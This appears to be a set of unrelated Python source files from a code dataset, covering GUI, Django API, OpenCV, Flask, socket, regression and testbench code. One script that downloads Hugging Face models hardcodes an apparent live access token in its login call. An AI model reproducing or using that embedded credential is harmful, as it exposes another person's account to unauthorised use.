\"}\"\n\n\tsubImg.put(subData)\n\treturn subImg\n\n\n\n\n\n\n# ---------------- CLASS ----------------\nclass Puzzle:\n\n\t#constructor\n\tdef __init__(self, path, rowNbr, colNbr):\n\n\t\t#error cases\n\t\tif rowNbr not in power2:\n\t\t\tprint(\"FATAL ERROR > src/puzzle.py : __init__() : rowNbr can only be a small power of 2 (got \" + rowNbr + \").\")\n\t\t\texit(1)\n\t\tif colNbr not in power2:\n\t\t\tprint(\"FATAL ERROR > src/puzzle.py : __init__() : colNbr can only be a small power of 2 (got \" + colNbr + \").\")\n\t\t\texit(1)\n\n\t\t#set image\n\t\tself.path = path\n\t\ttry:\n\t\t\tself.fullImage = PhotoImage(file=path)\n\t\t\tself.width = self.fullImage.width()\n\t\t\tself.height = self.fullImage.height()\n\t\t\tself.width_2 = int(self.width/2)\n\t\t\tself.height_2 = int(self.height/2)\n\t\texcept RuntimeError:\n\t\t\tprint(\"FATAL ERROR > src/puzzle.py : __init__() : Unable to allocate puzzle image without having first created a tkinter window.\")\n\t\t\texit(1)\n\n\t\t#set attributes\n\t\tself.rowNbr = rowNbr\n\t\tself.colNbr = colNbr\n\t\tself.piecesNbr = rowNbr*colNbr\n\t\tself.pieces = []\n\t\tself.pieceWidth = int(self.width/colNbr)\n\t\tself.pieceHeight = int(self.height/rowNbr)\n\t\tself.pieceWidth_2 = int(self.pieceWidth/2)\n\t\tself.pieceHeight_2 = int(self.pieceHeight/2)\n\n\t\t#generate pieces\n\t\tfor y in range(rowNbr):\n\t\t\tself.pieces.append([])\n\t\t\tfor x in range(colNbr):\n\t\t\t\tself.pieces[y].append(\n\t\t\t\t\tPiece(\n\t\t\t\t\t\tSIDE_WALL,\n\t\t\t\t\t\tSIDE_WALL,\n\t\t\t\t\t\tSIDE_WALL,\n\t\t\t\t\t\tSIDE_WALL,\n\t\t\t\t\t\tsubImage(\n\t\t\t\t\t\t\tself.fullImage,\n\t\t\t\t\t\t\tx*self.pieceWidth, y*self.pieceHeight,\n\t\t\t\t\t\t\t self.pieceWidth, self.pieceHeight\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t)\n\n\t\t#TEMP <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n\t\tSHIFT = 10\n\t\tself.width += self.colNbr * SHIFT\n\t\tself.height += self.rowNbr * SHIFT\n\t\tself.width_2 = self.width/2\n\t\tself.height_2 = self.height/2\n\t\tself.pieceWidth += SHIFT\n\t\tself.pieceHeight += SHIFT\n\n\t#display\n\tdef show(self, win, px, py):\n\n\t\t#centralize puzzle\n\t\tpx -= self.width_2\n\t\tpy -= self.height_2\n\n\t\t#show pieces\n\t\tfor y in range(self.rowNbr):\n\t\t\tfor x in range(self.colNbr):\n\t\t\t\tself.pieces[y][x].show(\n\t\t\t\t\twin,\n\t\t\t\t\tpx + x*self.pieceWidth + self.pieceWidth_2,\n\t\t\t\t\tpy + y*self.pieceHeight + self.pieceHeight_2,\n\t\t\t\t)\n","repo_name":"iasebsil83/Grozzle","sub_path":"src/puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":2866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70119306436","text":"from rest_framework.response import Response\nfrom resumes.serializers import BasicSerializer, ProfileSerializer, ResumeSerializer, VolunteerSerializer, WorkSerializer\nfrom resumes.models import Basic, Profile, Resume, Volunteer, Work\nfrom django.shortcuts import render\nfrom rest_framework.decorators import action\nfrom rest_framework import viewsets, mixins, status\nfrom rest_framework.permissions import IsAuthenticatedOrReadOnly\nfrom rest_framework_condition import etag\nfrom resumes.utils import check_etag, custom_etag, custom_update\n\nclass ResumeAPIView(mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.UpdateModelMixin,\n mixins.CreateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet):\n queryset = Resume.objects.all()\n serializer_class = ResumeSerializer\n lookup_field = 'basics__name'\n permission_classes = (IsAuthenticatedOrReadOnly,)\n\n @etag(custom_etag)\n def list(self, request, *args, **kwargs):\n queryset = self.filter_queryset(self.get_queryset())\n\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n\n serializer = self.get_serializer(queryset, many=True)\n return Response(serializer.data)\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n @etag(custom_etag)\n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = self.get_serializer(instance)\n return Response(serializer.data)\n\n @etag(custom_etag)\n def update(self, request, *args, **kwargs):\n partial = kwargs.pop('partial', False)\n instance = self.get_object()\n serializer = self.get_serializer\n return custom_update(request, instance, serializer, partial)\n\n def partial_update(self, request, *args, **kwargs):\n kwargs['partial'] = True\n return self.update(request, *args, **kwargs)\n\n @action(detail=True, methods=['GET', 'PUT'])\n def basics(self, request, basics__name):\n basic = Basic.objects.get(name=basics__name)\n\n if request.method == 'GET':\n check_etag(\n basic.resume,\n [basic],\n ('name', 'label', 'picture', 'email', 'phone', 'website', 'summary', 'location_id')\n )\n\n serializer = BasicSerializer(instance=basic)\n return Response(serializer.data)\n\n elif request.method == 'PUT':\n return custom_update(request, basic, BasicSerializer)\n\n\n @action(detail=True, methods=['GET', 'POST'], url_path='basics/profiles')\n def profiles(self, request, basics__name):\n basic = Basic.objects.filter(name=basics__name).last()\n profiles = basic.profiles.all()\n\n check_etag(basic.resume, profiles, ('network', 'username', 'url'))\n\n if request.method == 'GET':\n serializer = ProfileSerializer(profiles, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n serializer = ProfileSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save(basic_id=basic.id)\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n @action(detail=True, methods=['PUT', 'DELETE'], url_path='basics/profiles/(?P[\\w.@+-]+)')\n def edit_profiles(self, request, basics__name, network):\n basic = Basic.objects.filter(name=basics__name).last()\n profiles = basic.profiles.all()\n\n check_etag(basic.resume, profiles, ('network', 'username', 'url'))\n\n instance = Profile.objects.get(network=network)\n\n if request.method == 'PUT':\n return custom_update(request, instance, ProfileSerializer)\n\n elif request.method == 'DELETE':\n instance.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action(detail=True, methods=['GET', 'POST'])\n def work(self, request, basics__name):\n resume = Basic.objects.filter(name=basics__name).last().resume\n work = resume.work.all()\n\n check_etag(\n resume,\n work,\n ('company', 'position', 'website', 'start_date', 'end_date', 'summary')\n )\n\n if request.method == 'GET':\n serializer = WorkSerializer(work, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n serializer = WorkSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save(resume_id=resume.id)\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n @action(detail=True, methods=['PUT', 'DELETE'], url_path='work/(?P[\\w.@+-]+)')\n def edit_work(self, request, basics__name, company):\n resume = Basic.objects.filter(name=basics__name).last().resume\n work = resume.work.all()\n\n check_etag(resume, work, ('company', 'position', 'website', 'start_date', 'end_date', 'summary'))\n\n instance = Work.objects.get(company=company)\n\n if request.method == 'PUT':\n return custom_update(request, instance, WorkSerializer)\n\n elif request.method == 'DELETE':\n instance.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action(detail=True, methods=['GET', 'POST'])\n def volunteer(self, request, basics__name):\n resume = Basic.objects.filter(name=basics__name).last().resume\n volunteer = resume.volunteer.all()\n\n check_etag(\n resume,\n volunteer,\n ('organization', 'position', 'website', 'start_date', 'end_date', 'summary')\n )\n\n if request.method == 'GET':\n serializer = VolunteerSerializer(volunteer, many=True)\n return Response(serializer.data)\n\n elif request.method == 'POST':\n serializer = VolunteerSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save(resume_id=resume.id)\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n @action(detail=True, methods=['PUT', 'DELETE'], url_path='volunteer/(?P[\\w\\ .@+-]+)')\n def edit_volunteer(self, request, basics__name, organization):\n resume = Basic.objects.filter(name=basics__name).last().resume\n volunteer = resume.volunteer.all()\n\n check_etag(resume, volunteer, ('organization', 'position', 'website', 'start_date', 'end_date', 'summary'))\n\n instance = Volunteer.objects.get(organization=organization)\n\n if request.method == 'PUT':\n return custom_update(request, instance, VolunteerSerializer)\n\n elif request.method == 'DELETE':\n instance.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)","repo_name":"arielangeles/resume-api","sub_path":"resumes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30852364727","text":"import numpy as np\nimport cv2\nimport os\n\n# INPUT_PATH = \"leaf_dataset\"\nOUTPUT_PATH = \"output_masks/dataset1_masks/\"\nOUTPUT_PATH2 = \"output_masks/dataset2_masks/\"\n \n# if not os . path . exists ( INPUT_PATH ) :\n# print ( \" Incorrect path: \" + INPUT_PATH )\n# exit (1)\nif not os . path . exists ( OUTPUT_PATH ) :\n print ( \" Incorrect path: \" + OUTPUT_PATH )\n exit (1)\n\nkernel = np.ones((5,5), np.uint8)\nimageCount = 0\ndataSet1Directory = r'leaf_dataset/leaf_dataset/leaves_testing_set_1/color_images'\ndataSet2Directory = r'leaf_dataset/leaf_dataset/leaves_testing_set_2/color_images'\n\n# read all images in the dataset directory \nfor fileName in os.listdir(dataSet2Directory):\n f = os.path.join(dataSet2Directory, fileName)\n if os.path.isfile(f):\n #read the image in grayscale\n inputImage = cv2.imread(f, 0)\n\n #blur the image\n blurred = cv2.GaussianBlur(inputImage, (3,3), 0)\n\n # use threshold\n ret, thresh = cv2.threshold(inputImage, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n\n # use openning morphological operation\n mask = cv2.morphologyEx(thresh, cv2.MORPH_OPEN,\n kernel, iterations = 1)\n\n # Show the mask \n cv2.imshow('image', mask)\n cv2.waitKey(0) \n\n # save the mask \n if(cv2.imwrite(OUTPUT_PATH2 + \"leaf\" + str(imageCount) + \".png\", mask)):\n imageCount = imageCount + 1\n\n# check if all saved\nif(imageCount == 150):\n print(\"All images succesfully saved\")\n exit(0)\nelse:\n print(\"{0} images succesfully saved\".format(imageCount))\n exit(1)\n","repo_name":"sahinra/Image_Processing","sub_path":"Leaf_Segmentation/leaf_segmentation.py","file_name":"leaf_segmentation.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73892542595","text":"#funcion division\ndef div (n,d):\n resultado = int(0)\n if d>n:\n return 0\n else:\n while n>=d: \n n -=d\n resultado += 1\n return resultado \n\n#funcion fibonacci\ndef Fiboit(n):\n i = int (0)\n j = int (1)\n for k in range (n):\n m = i+j\n i = j\n j = m\n return j\n\n#funcion potencia\ndef pot (b,e):\n resultado = float(1.0)\n for i in range (e): \n resultado = resultado * b\n return resultado\n\n\nif __name__ == \"__main__\":\n dividendo = int(input(\"Digite el dividendo: \"))\n divisor = int(input(\"Digite el divisor: \"))\n print (div(dividendo,divisor))\n num = int(input(\"digite una posicion de la sucesion de fibonacci: \"))\n print (Fiboit(num))\n base = float(input(\"digite la base: \"))\n exponente = int(input(\"digite el exponente: \"))\n print (pot(base,exponente))\n\n \n \n","repo_name":"aalejoz25/Modelos-II","sub_path":"Programacion Imperativa/Estructurales.py","file_name":"Estructurales.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3322401828","text":"from flask import Flask,render_template,request,url_for,redirect,send_file,send_from_directory\nfrom pytube import YouTube\n\napp = Flask(__name__,static_folder=\"static\")\n\n@app.route(\"/\",methods = [\"GET\",\"POST\"])\ndef index():\n if request.method ==\"GET\":\n return render_template(\"index.html\")\n\n link = request.form[\"url\"]\n path = link.split(\"/\")[-1]+\".mp3\"\n\n try:\n send_file(\"/static/videos/\"+path)\n return render_template(\"done.html\",url=url_for(\"static\",filename=\"videos/\"+path))\n except:\n video = YouTube(link)\n video = video.streams.filter(only_audio=True)[-1]\n video.download(\"static/videos/\", filename=path)\n\n return render_template(\"done.html\",url=url_for(\"static\",filename=\"videos/\"+path))\n\napp.run(host=\"192.168.8.120\",debug=True)","repo_name":"karam-ellhaj/youtube-radio","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33018266707","text":"n = 0\ncount = 0\nnumbers = 0\narray = [0, 1, 1, 0]\n\nfor i in range(0, 3):\n array[i] = n\n if n == 1:\n count = count + 1\n array[i] = numbers\n if numbers == 0:\n count = count - 1\n\nprint(n)\nprint(numbers)\n\ncount = n - numbers\n\nprint(count)\n","repo_name":"Arav-J/pythonProject","sub_path":"Python_Files/TestProgram.py","file_name":"TestProgram.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7632583316","text":"#script to check open graph tags\n\n#include libs\n\nimport sys\nsys.path.insert(0, '..')\nfrom include import *\n\ntoday = date.today()\n\ndef og(hash, code):\n module = 'check og'\n pattern = '*og:*'\n value = '0'\n\n if Helpers.matchText(code, pattern):\n value = '1'\n\n\n check_evaluations_result(hash, module, value)\n","repo_name":"searchstudies/seoeffekt","sub_path":"apps/indicators/og.py","file_name":"og.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"75022633475","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 22 01:30:45 2020\n\n@author: humayun\n\"\"\"\nimport numpy as np\nnp.random.seed(0) #if we change the seed vale the output will be changed otherwise the output will be the same value.\np = np.random.randint(10, size = 5)\nprint(p)\n\n\nnp.random.seed(1) \np = np.random.randint(10, size=5)\nprint(p)\n\n","repo_name":"humayun-ahmad/machine-learning","sub_path":"numpy/np_random_seed.py","file_name":"np_random_seed.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"16984473352","text":"import botocore\nfrom flask import Flask\nimport boto3\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World!!!\"\n@app.route(\"/whoami\")\ndef getsts():\n try:\n sts = boto3.client('sts')\n response = sts.get_caller_identity()\n response = response.get('Arn').split('/')[1]\n except botocore.exceptions.ClientError as e:\n response = e\n except botocore.exceptions.ProfileNotFound as e:\n response = e\n except botocore.exceptions.NoCredentialsError as e: \n response = e\n return \"Hello, World! You are {}\".format(response)\n\nif __name__ == '__main__':\n app.run(debug=False, host='0.0.0.0', port=80)\n","repo_name":"neilkuan/review-python-flask-k8s","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18407504812","text":"import datetime\nimport sqlite3\nfrom unittest import TestCase\nfrom unittest.mock import MagicMock, patch\n\n\nfrom app.models.base import get_candle_table_name\nfrom app.models.candle import Candle, get_candle, get_all_candles, create_or_update_candle\nfrom app.models.dfcandle import DataFrameCandle\nfrom bitflyer.bitflyer import Ticker\n\n\nclass TestCandle(TestCase):\n def setUp(self):\n self.db = 'TestDB.sql'\n self.product_code = 'BTC_JPY'\n self.duration = '1m'\n self.table = get_candle_table_name(self.product_code, self.duration)\n\n self.data = {\n 'time': datetime.datetime.now(),\n 'open': 200,\n 'close': 300,\n 'high': 450,\n 'low': 150,\n 'volume': 20\n }\n self.candle = Candle(\n self.product_code,\n self.duration,\n self.data['time'],\n self.data['open'],\n self.data['close'],\n self.data['high'],\n self.data['low'],\n self.data['volume']\n )\n \n\n def test_get_candle(self):\n curs_mock = MagicMock()\n curs_mock.fetchone.return_value = self.data\n\n conn_mock = MagicMock()\n conn_mock.cursor.return_value = curs_mock\n\n with patch('sqlite3.connect', return_value=conn_mock):\n candle = get_candle(self.product_code, self.duration, self.data['time'])\n \n conn_mock.commit.assert_not_called()\n conn_mock.rollback.assert_not_called()\n \n self.assertEqual(type(candle), Candle)\n self.assertEqual(candle.time, self.data['time'])\n\n \n def test_get_all_candles(self):\n curs_mock = MagicMock()\n curs_mock.fetchall.return_value = [list(self.data.values())]\n\n conn_mock = MagicMock()\n conn_mock.cursor.return_value = curs_mock\n\n with patch('sqlite3.connect', return_value=conn_mock):\n df = get_all_candles(self.product_code, self.duration, 10)\n \n conn_mock.commit.assert_not_called()\n conn_mock.rollback.assert_not_called()\n \n self.assertEqual(type(df), DataFrameCandle)\n self.assertEqual(len(df.candles), 1)\n self.assertEqual(df.candles[0].time, self.data['time'])\n \n @patch('app.models.candle.get_candle')\n def test_create_or_update_candle(self, mock_get_candle):\n test_patterns = [\n (None, True), # get_candle returns None\n (self.candle, False) # get_candle returns candle\n ]\n\n ticker = Ticker(\n self.product_code, '', '2015-07-08T02:50:59.97', 0,\n 0, 0, 0, 0, 0, 0, 0 ,0, 0, 0, 0\n )\n \n for m, expect_result in test_patterns:\n with self.subTest():\n mock_get_candle.return_value = m\n res = create_or_update_candle(ticker, self.product_code, self.duration)\n self.assertEqual(res, expect_result)\n\n","repo_name":"ino777/bitflyer","sub_path":"tests/test_candle.py","file_name":"test_candle.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"4029142712","text":"from tda_tabla_hash import crear_tabla, agregar_ta, bernstein, cantidad_elementos_ta, hash_division\r\n\r\ndef decodificar(binario):\r\n t = len(binario) + 1\r\n a = binario[2:t]\r\n b = int(a,2)\r\n return b\r\n \r\n \r\nmensaje = \"!@#%^&*\"\r\nprint(\"tamanio del mensaje, \",len(mensaje))\r\nmensajes = crear_tabla(10)\r\n\r\nmensajes_decodificados = crear_tabla(10)\r\n\r\nfor e in mensaje:\r\n print (e)\r\n a = ord(e)\r\n print(a)\r\n b = bin(a)\r\n print(b)\r\n agregar_ta(mensajes,bernstein,b)\r\n\r\n\r\nprint(mensajes)\r\n\r\nfor e in mensajes:\r\n if e:\r\n aux = e.inicio\r\n while aux:\r\n print(aux.info)\r\n f = decodificar(aux.info)\r\n print(f)\r\n agregar_ta(mensajes_decodificados,hash_division,f)\r\n aux = aux.sig\r\n print(\" \")\r\n \r\nprint(mensajes_decodificados)\r\nprint(\" \")\r\n\r\nfor r in mensajes_decodificados:\r\n if r:\r\n aux = r.inicio\r\n while aux:\r\n print(aux.info)\r\n aux = aux.sig\r\n print(\" \")\r\n ","repo_name":"JuanInhale/Algoritmos-2020","sub_path":"hash_ej7.py","file_name":"hash_ej7.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12127172635","text":"from sklearn.linear_model import Ridge\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport statsmodels.api as sm\nfrom math import sqrt\nclf = Ridge(alpha=1000)\n\ndata=pd.read_excel('Chapter4.xlsx')\ndata=data.values\nX2=[]\nX3=[]\nX4=[]\nX5=[]\nY=[]\nfor i in range(len(data)):\n X2.append(data[i][1])\n X3.append(data[i][2])\n X4.append(data[i][3])\n X5.append(data[i][4])\n Y.append(data[i][0])\nX2=np.array(X2)\nX3=np.array(X3)\nX4=np.array(X4)\nX5=np.array(X5)\nX=np.column_stack((X2,X3,X4,X5)) # 添加截距\nY=np.array(Y)\nclf.fit(X,Y)\nprint('coefs:',clf.coef_)\nprint('intercept:',clf.intercept_)\nprint('R2:',clf.score(X,Y))\nprint(clf.get_params())\n","repo_name":"Wang-Fulin-SDUWH/Jiliang","sub_path":"Chapter4_3.py","file_name":"Chapter4_3.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26601411528","text":"class MatrixProcessor:\n\n def __init__(self, matrix):\n self.n=len(matrix)\n self.m=len(matrix[0])\n self.matrix = matrix\n\n def __str__(self):\n rowstring=\"\"\n for row in self.matrix:\n rowstring = rowstring + \"[\"\n for cell in row:\n rowstring = rowstring + \" \" + str(cell) + \" \"\n rowstring = rowstring + \"]\\n\" \n return rowstring\n\n def rotate90CW(self):\n \n columnlist=[]\n for row in self.matrix:\n #set up a list for columns\n columnlist.append([]) \n for row in self.matrix:\n columnindex=0\n for cell in row:\n columnlist[columnindex].append(cell)\n columnindex += 1\n newmatrix=[]\n for col in columnlist:\n newmatrix.append(reversed(col))\n self.matrix=newmatrix\n#testing\n \nmat1= MatrixProcessor([[1,2,3,4],[5,6,7,8],[9,10,11,12],[13,14,15,16]])\n\nprint (\"M by N matrix has dimensions \" + str(mat1.m) + \" by \" + str(mat1.n))\n\nprint (\"Visual representation of contents:\")\nprint (str(mat1) ) \n\n\nmat1.rotate90CW()\n\nprint (\"Visual representation of contents after rotating 90 degrees clockwise:\")\nprint (str(mat1) )\n","repo_name":"wenxinzhao/Cracking_Code","sub_path":"CC150/Q1.6 transpose.py","file_name":"Q1.6 transpose.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23565940331","text":"#!/usr/bin/env python3\n\nimport sys, os, re\nimport numpy as np\n\ndef log(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\nT = int(input().strip())\nfor t in range(1, T+1):\n N = int(input().strip())\n Nstr = \"0\" + str(N)\n rerun = True\n while rerun:\n rerun = False\n for i in range(1, len(Nstr)):\n if Nstr[i-1] > Nstr[i]:\n N = int(Nstr) - (int(Nstr[i:]) + 1)\n Nstr = \"0\" + str(N)\n rerun = True\n break\n ans = N\n print(\"Case #{}: {}\".format(t, ans))\n \n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/97.py","file_name":"97.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40200461796","text":"from rest_framework import serializers\nfrom comments.models import Comment, Content\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n content_url = serializers.SlugField(write_only=True)\n\n class Meta:\n model = Comment\n fields = (\n 'id',\n 'content',\n 'content_url',\n 'username',\n 'comment',\n 'created'\n )\n read_only_fields = ('id', 'content', 'created')\n write_only_fields = ('content_url',)\n\n def create(self, validated_data):\n content_url = validated_data.pop('content_url')\n content, _ = Content.objects.get_or_create(slug=content_url)\n comment = Comment.objects.create(content=content, **validated_data)\n return comment\n\n\nclass ContentSerializer(serializers.ModelSerializer):\n comments = CommentSerializer(many=True)\n\n class Meta:\n model = Content\n fields = (\n 'id',\n 'slug',\n 'content',\n 'comments'\n )\n read_only_fields = ('id', 'comments')\n\n lookup_field = 'slug'\n","repo_name":"brothaakhee/quick-comments","sub_path":"comments/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42418490544","text":"from threading import Thread\nimport socket\nimport time\n\nservers = {21: False, 22: False, 80: False, 443: False}\n\n\ndef run(port):\n\n\tsock = socket.socket()\n\tsock.connect((socket.gethostname(), port))\n\tresponse = sock.recv(1024).decode()\n\n\tif response == 'I\\'m up!':\n\t\tservers[port] = True\n\telse:\n\t\tprint(response)\n\n\tsock.close()\n\n\ndef main():\n\n\tfor port in servers:\n\t\tthread = Thread(target=run, args=(port,))\n\t\tthread.start()\n\n\ttime.sleep(1)\n\tprint(servers)\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"BigAditzoi/sockets","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8902817460","text":"from prettytable import PrettyTable\nimport itertools\n\n\nclass Shapley:\n\n def __init__(self, n, optimal_coalition, characteristic_function):\n self.n = n # the number of agents\n self.payoff = {} # map to store individual payoff of agents within a coalition\n # optimal set of coalitions obtained via distributed algorithm\n self.optimal_coalition = optimal_coalition\n self.ch_table = characteristic_function\n\n # this returns the value of factorial of x\n def factorial(self, x):\n return 1 if (x == 1 or x == 0) else x * self.factorial(x - 1)\n\n # returns all subsets from (0,n)\n def getSubsets(self, coalition):\n subsets = []\n for t in range(0, len(coalition)):\n # itertools.combinations returns tuple\n for x in set(itertools.combinations(coalition, t+1)):\n subsets.append(x)\n return subsets\n\n def calc_shapley(self, agent, cur_coalition):\n subsets = self.getSubsets(cur_coalition)\n # Example\n # 0 1 2 3\n # {0,1,2} {3} 0,8,5\n # shapley( {0,1,2} , 0 ) = v(0) - v() + v(0,1) - v(1) + v(0,2) - v(2) + v(0,1,2) - v(1,2)\n num = len(cur_coalition) # the number of agents in cur_coalition\n # factorial of the number of agents in cur_coalition\n f_num = self.factorial(num)\n global total\n total = 0\n for coalition in subsets:\n global d\n d = set(coalition) # typecasting tuple to set\n if agent in d:\n d.remove(agent)\n l = (list)(d)\n l.sort()\n # rem is the chf value excluding the agent\n rem = self.ch_table[tuple(l)]\n # print(\"agent is \", agent)\n # print(\"rem is \", rem)\n # val is the chf value including the agent\n total += self.ch_table[tuple(coalition)] - rem\n # print(\"total is \", total)\n return total/f_num\n\n def distribute_payoff(self):\n # for each agent in each optimal coalition, calc_shapley function is called\n for cur_coalition in self.optimal_coalition:\n for agent in cur_coalition:\n self.payoff[agent] = self.calc_shapley(agent, cur_coalition)\n\n # prints the payoff table\n def print_payoff_table(self):\n myTable = PrettyTable([\"Agent\", \"Payoff value\"])\n for coalition, ch_val in self.payoff.items():\n s = (str)(coalition)\n myTable.add_row([s, round(ch_val, 4)])\n print(myTable.get_string(title=\"Payoff table\"))\n","repo_name":"jainkashish/MAS-PROJECT","sub_path":"shapley.py","file_name":"shapley.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71741067074","text":"import argparse\n\nfrom huggingface_hub import login\nfrom transformers import AutoModel, AutoTokenizer\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--model_name\", type=str, default=None, help=\"model name\")\nargs = parser.parse_args()\n\nprint(\"login to huggingface hub...\")\nlogin(token=\"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\")\n\n\n# model_name = \"TheBloke/Llama-2-70B-fp16\"\n# model_name = \"meta-llama/Llama-2-7b-hf\"\n# model_name = \"meta-llama/Llama-2-13b-hf\"\nmodel_name = str(args.model_name)\n\n# tokenizer_name = \"hf-internal-testing/llama-tokenizer\"\ntokenizer_name = model_name\n\nprint(f\"model_name: {model_name}\")\nprint(f\"tokenizer_name: {tokenizer_name}\")\n\ntokenizer = AutoTokenizer.from_pretrained(tokenizer_name, resume_download=True)\n\nmodel = AutoModel.from_pretrained(\n model_name, resume_download=True, low_cpu_mem_usage=True\n)\n","repo_name":"tongyx361/reward-by-prm800k","sub_path":"src/download-from-hf-hub.py","file_name":"download-from-hf-hub.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16275612501","text":"import cocotb\nfrom cocotb.clock import Clock\nfrom cocotb.triggers import RisingEdge,ClockCycles\nfrom cocotb.binary import BinaryValue\nimport random\nfrom cocotb_coverage import crv \nfrom cocotb_coverage.coverage import CoverCross,CoverPoint,coverage_db\nimport numpy as np\n\n\ncovered_XY = []\ng_depth = int(cocotb.top.g_depth)\ng_width = int(cocotb.top.g_width)\n\n\nclass crv_inputs(crv.Randomized):\n\tdef __init__(self,we,data,addrA,addrB,waddr):\n\t\tcrv.Randomized.__init__(self)\n\t\tself.we = we\n\t\tself.data = data\n\t\tself.addrA = addrA\n\t\tself.addrB = addrB\n\t\tself.waddr = waddr\n\t\tself.add_rand(\"we\",[0,1])\n\t\tself.add_rand(\"data\",list(range(2**g_width)))\n\t\tself.add_rand(\"addrA\",list(range(2**g_depth)))\n\t\tself.add_rand(\"addrB\",list(range(2**g_depth)))\n\t\tself.add_rand(\"waddr\",list(range(2**g_depth)))\n\nfull = False\ndef notify_full():\n\tglobal full \n\tfull = True\n\n#at_least = value is superfluous, just shows how you can determine the amount of times that\n#a bin must be hit to considered covered\n@CoverPoint(\"top.we\",xf = lambda we,data,addrA,addrB,waddr : we, bins = [0,1], at_least=1)\n@CoverPoint(\"top.data\",xf = lambda we,data,addrA,addrB,waddr : data, bins = list(range(2**g_width)), at_least=1)\n# @CoverPoint(\"top.addrA\",xf = lambda we,data,addrA,addrB,waddr : addrA, bins = list(range(2**g_depth)), at_least=1)\n# @CoverPoint(\"top.addrB\",xf = lambda we,data,addrA,addrB,waddr : addrB, bins = list(range(2**g_depth)), at_least=1)\n@CoverPoint(\"top.waddr\",xf = lambda we,data,addrA,addrB,waddr : waddr, bins = list(range(2**g_depth)), at_least=1)\n@CoverCross(\"top.cross\", items = 